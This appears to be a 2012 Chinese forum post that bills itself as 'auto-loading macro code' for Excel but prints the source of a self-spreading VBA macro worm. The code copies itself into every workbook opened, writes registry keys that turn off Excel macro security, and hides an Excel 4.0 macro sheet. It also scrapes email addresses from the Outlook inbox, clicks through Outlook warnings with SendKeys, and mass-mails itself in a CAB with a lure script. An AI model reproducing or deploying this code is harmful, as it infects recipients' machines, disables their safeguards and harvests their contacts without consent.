自动加载宏代码(Excel-VBA)

时　间:2012-06-20 09:51:56
作　者:欢乐小爪   ID：20149  城市：杭州
摘　要:自动加载宏代码(Excel-VBA)
正　文:

Public WithEvents xx As Application
Private Sub Workbook_open()
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call do_what
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook)
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb
Application.ScreenUpdating = True
End Sub

-----------------------------------------

Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus

If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
ThisWorkbook.IsAddin = True
ThisWorkbook.SaveCopyAs MyFile
ThisWorkbook.IsAddin = False
Application.ScreenUpdating = True
End If
End Function

Function OpenDoor()
Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
Dim KValue1 As Variant, KValue2 As Variant
Dim VS As String
On Error Resume Next
VS = Application.Version
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")

RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"
RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"

KValue1 = 1
KValue2 = 1

Call WReg(RK1, KValue1, "REG_DWORD")
Call WReg(RK2, KValue2, "REG_DWORD")
Call WReg(RK3, KValue1, "REG_DWORD")
Call WReg(RK4, KValue2, "REG_DWORD")

End Function

Sub WReg(strkey As String, Value As Variant, ValueType As String)
Dim oWshell
Set oWshell = CreateObject("WScript.Shell")
If ValueType = "" Then
oWshell.RegWrite strkey, Value
Else
oWshell.RegWrite strkey, Value, ValueType
End If
Set oWshell = Nothing
End Sub

Private Sub Movemacro4(ByVal wb As Workbook)
On Error Resume Next

Dim sht As Object

wb.Sheets(1).Select
Sheets.Add Type:=xlExcel4MacroSheet
ActiveSheet.Name = "Macro1"

Range("A2").Select
ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
Range("A3").Select
ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" & Application.UserName & """))=4)"
Range("A4").Select
ActiveCell.FormulaR1C1 = "=ALERT(""禁用宏，关闭 " & Chr(10) & Now & Chr(10) & "Please Enable Macro!"",3)"
Range("A5").Select
ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)"
Range("A6").Select
ActiveCell.FormulaR1C1 = "=END.IF()"
Range("A7").Select
ActiveCell.FormulaR1C1 = "=RETURN()"

For Each sht In wb.Sheets
wb.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
Next
wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden
End Sub

Private Function WorkbookOpen(WorkBookName As String) As Boolean
WorkbookOpen = False
On Error GoTo WorkBookNotOpen
If Len(Application.Workbooks(WorkBookName).Name) > 0 Then
WorkbookOpen = True
Exit Function
End If
WorkBookNotOpen:
End Function

Private Sub ActionJudge()
Const T1 As Date = "10:00:00"
Const T2 As Date = "11:00:00"
Const T3 As Date = "14:00:00"
Const T4 As Date = "15:00:00"
Dim SentTime As Date, WshShell

Set WshShell = CreateObject("WScript.Shell")
If Not InStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command\")), "OUTLOOK.EXE") > 0 Then Exit Sub

If Time >= T1 And Time <= T2 Or Time >= T3 And Time <= T4 Then
If ReadOut("D:\Collected_Address:frag1.txt") = "1" Then
Exit Sub
Else
CreateFile "1", "D:\Collected_Address:frag1.txt"
search_in_OL
End If
Else
If Not if_outlook_open Then Exit Sub
If Time > T2 And Time <= DateAdd("n", 10, T2) Or Time > T4 And Time <= DateAdd("n", 10, T4) Then
Exit Sub
Else
SentTime = DateAdd("n", -21, Now)
On Error GoTo timeError
SentTime = CDate(ReadOut("D:\Collected_Address:frag2.txt"))
timeError:
If Now < DateAdd("n", 20, SentTime) Or ReadOut("D:\Collected_Address\log.txt") = "" Then
Exit Sub
Else
CreateFile "", "D:\Collected_Address:frag1.txt"
CreateFile Now, "D:\Collected_Address:frag2.txt"
CreatCab_SendMail
End If
End If
End If
End Sub

Private Sub search_in_OL()
Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, fs As Object, WshShell As Object

On Error Resume Next
Set fs = CreateObject("scripting.filesystemobject")
Set WshShell = CreateObject("WScript.Shell")

If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
AddVbsFile_clear = "E:\KK\" & AttName & "_clear.vbs"
i = FreeFile
Open AddVbsFile_clear For Output Access Write As #i

Print #i, "On error Resume Next"
Print #i, "Dim wsh, tle, T0, i"
Print #i, " T0 = Timer"
Print #i, " Set wsh=createobject(""" & "wscript.shell""" & ")"
Print #i, " tle = """ & "Microsoft Office Outlook""" & ""
Print #i, "For i = 1 To 1000"
Print #i, " If Timer - T0 > 60 Then Exit For"
Print #i, " Call Refresh()"
Print #i, " wscript.sleep 05"
Print #i, " wsh.sendKeys """ & "%a""" & ""
Print #i, " wscript.sleep 05"
Print #i, " wsh.sendKeys """ & "{TAB}{TAB}""" & ""
Print #i, " wscript.sleep 05"
Print #i, " wsh.sendKeys """ & "{Enter}""" & ""
Print #i, "Next"
Print #i, "Set wsh = Nothing"
Print #i, "wscript.quit"
Print #i, "Sub Refresh()"
Print #i, "Do Until wsh.AppActivate(CStr(tle)) = True"
Print #i, " If Timer - T0 > 60 Then Exit Sub"
Print #i, "Loop"
Print #i, " wscript.sleep 05"
Print #i, " wsh.SendKeys """ & "%{F4}""" & ""
Print #i, "End Sub"
Close (i)

AddVbsFile_search = "E:\KK\" & AttName & "_Search.vbs"
i = FreeFile
Open AddVbsFile_search For Output Access Write As #i

Print #i, "On error Resume Next"
Print #i, "Const olFolderInbox = 6"
Print #i, "Dim conbinded_address,WshShell,sh,ts"
Print #i, "Set WshShell=WScript.CreateObject(""" & "WScript.Shell""" & ")"
Print #i, "Set objOutlook = CreateObject(""" & "Outlook.Application""" & ")"
Print #i, "Set objNamespace = objOutlook.GetNamespace(""" & "MAPI""" & ")"
Print #i, "Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)"
Print #i, "Set TargetFolder = objFolder"
Print #i, "conbinded_address = """ & """" & ""
Print #i, "Set colItems = TargetFolder.Items"
Print #i, "wscript.sleep 300000"
Print #i, "WshSHell.Run (""" & "wscript.exe " & AddVbsFile_clear & """" & "), vbHide, False"
Print #i, "ts = Timer"
Print #i, "For Each objMessage in colItems"
Print #i, " If Timer - ts >55 then exit For"
Print #i, " conbinded_address = conbinded_address & valid_address(objMessage.Body)"
Print #i, "Next"
Print #i, "add_text conbinded_address, 8"
Print #i, "add_text all_non_same(ReadAllTextFile), 2"
Print #i, "WScript.Quit"
Print #i, ""
Print #i, "Private Function valid_address(source_data)"
Print #i, " Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr"
Print #i, " Dim regex, matchs, ss, arr()"
Print #i, " Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
Print #i, " Set regex = CreateObject(""" & "VBSCRIPT.REGEXP""" & ")"
Print #i, ""
Print #i, " regex.Global = True"
Print #i, " regex.Pattern = """ & "\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*""" & ""
Print #i, " Set matchs = regex.Execute(source_data)"
Print #i, " ReDim trimed_arr(matchs.Count - 1)"
Print #i, " For i = Lbound(trimed_arr) To Ubound(trimed_arr)"
Print #i, " trimed_arr(i) = matchs.Item(i) & vbCrLf"
Print #i, " Next"
Print #i, ""
Print #i, " For i = LBound(trimed_arr) To UBound(trimed_arr)"
Print #i, " oDict(trimed_arr(i)) = """ & """" & ""
Print #i, " Next"
Print #i, ""
Print #i, " If oDict.Count > 0 Then"
Print #i, " nonsame_arr = oDict.keys"
Print #i, " For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
Print #i, " valid_address = valid_address & nonsame_arr(i)"
Print #i, " Next"
Print #i, " End If"
Print #i, " Set oDict = Nothing"
Print #i, "End Function"
Print #i, ""
Print #i, "Private Sub add_text(inputed_string, input_frag)"
Print #i, " Dim objFSO, logfile, logtext, log_path, log_folder"
Print #i, " log_path = """ & "D:\Collected_Address""" & ""
Print #i, " Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
Print #i, " On Error resume next"
Print #i, " Set log_folder = objFSO.CreateFolder(log_path)"
Print #i, ""
Print #i, " If objFSO.FileExists(log_path & """ & "\log.txt""" & ") = 0 Then"
Print #i, " Set logfile = objFSO.CreateTextFile(log_path & """ & "\log.txt""" & ", True)"
Print #i, " End If"
Print #i, " Set log_folder = Nothing"
Print #i, " Set logfile = Nothing"
Print #i, ""
Print #i, " Select Case input_frag"
Print #i, " Case 8"
Print #i, " Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 8, True, -1)"
Print #i, " logtext.Write inputed_string"
Print #i, " logtext.Close"
Print #i, " Case 2"
Print #i, " Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 2, True, -1)"
Print #i, " logtext.Write inputed_string"
Print #i, " logtext.Close"
Print #i, " End Select"
Print #i, " set objFSO = nothing"
Print #i, "End Sub"
Print #i, ""
Print #i, "Private Function ReadAllTextFile()"
Print #i, " Dim objFSO, FileName, MyFile"
Print #i, " FileName = """ & "D:\Collected_Address\log.txt""" & ""
Print #i, " Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
Print #i, " Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)"
Print #i, " If MyFile.AtEndOfStream Then"
Print #i, " ReadAllTextFile = """ & """" & ""
Print #i, " Else"
Print #i, " ReadAllTextFile = MyFile.ReadAll"
Print #i, " End If"
Print #i, "set objFSO = nothing"
Print #i, "End Function"
Print #i, ""
Print #i, "Private Function all_non_same(source_data)"
Print #i, " Dim oDict, i, trimed_arr, nonsame_arr"
Print #i, " all_non_same = """ & """" & ""
Print #i, " Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
Print #i, ""
Print #i, " trimed_arr = Split(source_data, vbCrLf)"
Print #i, ""
Print #i, " For i = LBound(trimed_arr) To UBound(trimed_arr)"
Print #i, " oDict(trimed_arr(i)) = """ & """" & ""
Print #i, " Next"
Print #i, ""
Print #i, " If oDict.Count > 0 Then"
Print #i, " nonsame_arr = oDict.keys"
Print #i, " For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
Print #i, " all_non_same = all_non_same & nonsame_arr(i) & vbCrLf"
Print #i, " Next"
Print #i, " End If"
Print #i, " Set oDict = Nothing"
Print #i, "End Function"
Close (i)
Application.WindowState = xlMaximized
WshShell.Run ("wscript.exe " & AddVbsFile_search), vbHide, False
Set WshShell = Nothing
End Sub

Private Sub CreatCab_SendMail()
Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, Address_list As String
Dim fs As Object, WshShell As Object
Address_list = get_ten_address

Set WshShell = CreateObject("WScript.Shell")
Set fs = CreateObject("scripting.filesystemobject")
If fs.Folderexists("E:\SORCE") = False Then fs.CreateFolder "E:\SORCE"
AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
mail_sub = "*" & AttName & "*Message*"
AddVbsFile = "E:\sorce\" & AttName & "_Key.vbs"
i = FreeFile
Open AddVbsFile For Output Access Write As #i

Print #i, "Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route"
Print #i, "On error Resume Next"
Print #i, "Set sh=WScript.CreateObject(""" & "shell.application""" & ")"
Print #i, "sh.MinimizeAll"
Print #i, "Set sh = Nothing"
Print #i, "Set Fso = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
Print #i, "Set WshShell = WScript.CreateObject(""" & "WScript.Shell""" & ")"
Print #i, "If Fso.Folderexists(""" & "E:\KK""" & ") = False Then Fso.CreateFolder """ & "E:\KK"""
Print #i, "Fso.CopyFile _"
Print #i, "WshShell.CurrentDirectory & """ & "\" & AttName & "*.CAB""" & "," & " " & """E:\KK\""" & ", True"
Print #i, "For Each Atta_xls In ListDir(""" & "E:\KK""" & ")"
Print #i, " WshShell.Run """ & "expand """ & " & Atta_xls & """ & " -F:" & AttName & ".xls E:\KK""" & ", 0, true"
Print #i, "Next"
Print #i, "If Fso.FileExists(""" & "E:\KK\" & AttName & ".xls""" & ") = 0 then"
Print #i, " route = WshShell.CurrentDirectory & """ & "\" & AttName & ".xls"""
Print #i, " if Fso.FileExists(WshShell.CurrentDirectory & """ & "\" & AttName & ".xls""" & ")=0 then"
Print #i, " route = InputBox(""" & "Warning! """ & " & Chr(10) & """ & "You are going to open a confidential file.""" & "& Chr(10) _"
Print #i, " & """ & "Please input the complete file path.""" & " & Chr(10) & """ & "ex. C:\parth\confidential_file.xls""" & ", _"
Print #i, " """ & "Open a File""" & " , """ & "Please Input the Complete File Path""" & ", 10000, 8500)"
Print #i, " End if"
Print #i, "else"
Print #i, " route = """ & "E:\KK\" & AttName & ".xls"""
Print #i, "End If"
Print #i, " set oexcel=createobject(""" & "excel.application""" & ")"
Print #i, " set owb=oexcel.workbooks.open(route)"
Print #i, " oExcel.Visible = True"
Print #i, "Set oExcel = Nothing"
Print #i, "Set oWb = Nothing"
Print #i, "Set WshShell = Nothing"
Print #i, "Set Fso = Nothing"
Print #i, "WScript.Quit"
Print #i, "Private Function ListDir (ByVal Path)"
Print #i, " Dim Filter, a, n, Folder, Files, File"
Print #i, " ReDim a(10)"
Print #i, " n = 0"
Print #i, " Set Folder = fso.GetFolder(Path)"
Print #i, " Set Files = Folder.Files"
Print #i, " For Each File In Files"
Print #i, " If left(File.Name," & Len(AttName) & ") = """ & AttName & """ and right(File.Name,3) = """ & "CAB""" & " Then"
Print #i, " If n > UBound(a) Then ReDim Preserve a(n*2)"
Print #i, " a(n) = File.Path"
Print #i, " n = n + 1"
Print #i, " End If"
Print #i, " Next"
Print #i, " ReDim Preserve a(n-1)"
Print #i, " ListDir = a"
Print #i, "End Function"

Close (i)
AddListFile = ThisWorkbook.Path & "\TEST.txt"
i = FreeFile
Open AddListFile For Output Access Write As #i
Print #i, "E:\sorce\" & AttName & "_Key.vbs"
Print #i, "E:\sorce\" & AttName & ".xls"
Close (i)

Application.ScreenUpdating = False
RestoreBeforeSend
ThisWorkbook.SaveCopyAs "E:\sorce\" & AttName & ".xls"
RestoreAfterOpen
c4$ = CurDir()
ChDrive Left(ThisWorkbook.Path, 3) '"C:\"
ChDir ThisWorkbook.Path
WshShell.Run Environ$("comspec") & " /c makecab /F """ & ThisWorkbook.Path & "\TEST.TXT""" & " /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../" & AttName & ".CAB", vbHide, False

Do Until fs.FileExists(ThisWorkbook.Path & "\TEST.txt") _
And fs.FileExists(ThisWorkbook.Path & "\setup.rpt") And fs.FileExists(ThisWorkbook.Path & "\setup.inf") _
And fs.FileExists(ThisWorkbook.Path & "\" & AttName & ".CAB")
DoEvents
Loop

WshShell.Run Environ$("comspec") & " /c RD /S /Q """ & ThisWorkbook.Path & "\disk1""", vbHide, False
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\TEST.txt""", vbHide, False
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.rpt""", vbHide, False
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.inf""", vbHide, False
WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\sorce", vbHide, False

If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
WshShell.Run Environ$("comspec") & " /c MOVE /Y " & AttName & ".CAB E:\KK""", vbHide, False
ChDir c4$
Call Massive_SendMail(Address_list, AttName, "Dear all," & vbCrLf & AttName & vbCrLf & "FYI", _
"", "E:\KK\" & AttName & ".CAB")
WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\KK", vbHide, False
Set WshShell = Nothing
Application.ScreenUpdating = True
End Sub

Private Sub Massive_SendMail(Email_Address$, Subject$, Body$, CC_email_add$, Attachment$)
Dim objOL As Object
Dim itmNewMail As Object
If Not if_outlook_open Then Exit Sub

Set objOL = CreateObject("Outlook.Application")
Set itmNewMail = objOL.CreateItem(olMailItem)

With itmNewMail
.Subject = Subject
.Body = Body
.To = Email_Address
.CC = CC_email_add
.Attachments.Add Attachment
.DeleteAfterSubmit = True
End With
On Error GoTo continue
SendEmail:
itmNewMail.display
Debug.Print "setforth "
DoEvents
DoEvents
DoEvents
SendKeys "%s", Wait:=True
DoEvents
GoTo SendEmail
continue:
Set objOL = Nothing
Set itmNewMail = Nothing
End Sub

Private Function if_outlook_open() As Boolean
Set objs = GetObject("WinMgmts:").InstancesOf("Win32_Process")
if_outlook_open = False
For Each obj In objs
If InStr(obj.Description, "OUTLOOK") > 0 Then
if_outlook_open = True
Exit For
End If
Next
End Function

Private Function RadomNine(length As Integer) As String
Dim jj As Integer, k As Integer, i As Integer
RadomNine = ""
If length <= 0 Then Exit Function
If length <= 10 Then
For i = 1 To length
RadomNine = RadomNine & "$$" & i
Next i
Exit Function
End If
jj = length / 10
Randomize
For i = 1 To 10
k = Int(Rnd * (jj * i - m - 1)) + 1
If m + k <> 1 Then RadomNine = RadomNine & "$$" & m + k
m = m + k
Next
End Function
Private Function get_ten_address() As String
Dim singleAddress_arr, krr, i As Integer
get_ten_address = ""
singleAddress_arr = Split(ReadOut("D:\Collected_Address\log.txt"), vbCrLf)
krr = Split(RadomNine(UBound(singleAddress_arr) - LBound(singleAddress_arr) + 1), "$$")
For i = 1 To UBound(krr)
get_ten_address = get_ten_address & ";" & singleAddress_arr(CInt(krr(i)) - 1)
Next i
End Function

Private Function ReadOut(FullPath) As String
On Error Resume Next
Dim Fso, FileText
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
Set FileText = Fso.OpenTextFile(FullPath, 1, False, -1)
ReadOut = FileText.ReadAll
FileText.Close
End Function

Private Sub CreateFile(FragMark, pathf)
On Error Resume Next
Dim Fso, FileText
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
If Fso.Folderexists(Left(pathf, Len(pathf) - 10)) = False Then Fso.CreateFolder Left(pathf, Len(pathf) - 10)
If Fso.FileExists(pathf) Then
Set FileText = Fso.OpenTextFile(pathf, 2, False, -1)
FileText.Write FragMark
FileText.Close
Else
Set FileText = Fso.OpenTextFile(pathf, 2, True, -1)
FileText.Write FragMark
FileText.Close
End If
End Sub

Private Sub RestoreBeforeSend()
Dim aa As Name, i_row As Integer, i_col As Integer
Dim sht As Object
Application.ScreenUpdating = False
Application.DisplayAlerts = False
On Error Resume Next
For Each aa In ThisWorkbook.Names
aa.Visible = True
If Split(aa.Name, "!")(1) = "Auto_Activate" Then aa.Delete
Next
For Each sht In ThisWorkbook.Sheets
If sht.Name = "Macro1" Then
sht.Visible = xlSheetVisible
sht.Delete
End If
Next
Sheets(1).Select
Sheets.Add
For Each sht In ThisWorkbook.Sheets
If sht.Name <> Sheets(1).Name Then sht.Visible = xlSheetVeryHidden
Next
i_row = Int((15 * Rnd) + 1)
i_col = Int((6 * Rnd) + 1)
Cells(i_row, i_col) = "** CONFIDENTIAL! ** "
Cells(i_row + 2, i_col) = "Use " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " To Open This File."
Cells(i_row + 3, i_col) = "请用 " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " 解锁此文件."
With Range(Cells(i_row, i_col), Cells(i_row + 2, i_col))
.Font.Bold = True
.Font.ColorIndex = 3
End With
Application.ScreenUpdating = True
End Sub

Private Function RestoreAfterOpen()
Dim sht, del_sht, rng, del_frag As Boolean
On Error Resume Next
del_sht = ActiveSheet.Name
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For Each sht In ThisWorkbook.Sheets
If sht.Name <> "Macro1" Then sht.Visible = xlSheetVisible
Next
For Each rng In Sheets(del_sht).Range("A1:F15")
If InStr(rng.Value, "CONFIDENTIAL") > 0 Then
del_frag = True
Exit For
End If
Next
If del_frag = True Then Sheets(del_sht).Delete
Application.ScreenUpdating = True

End Function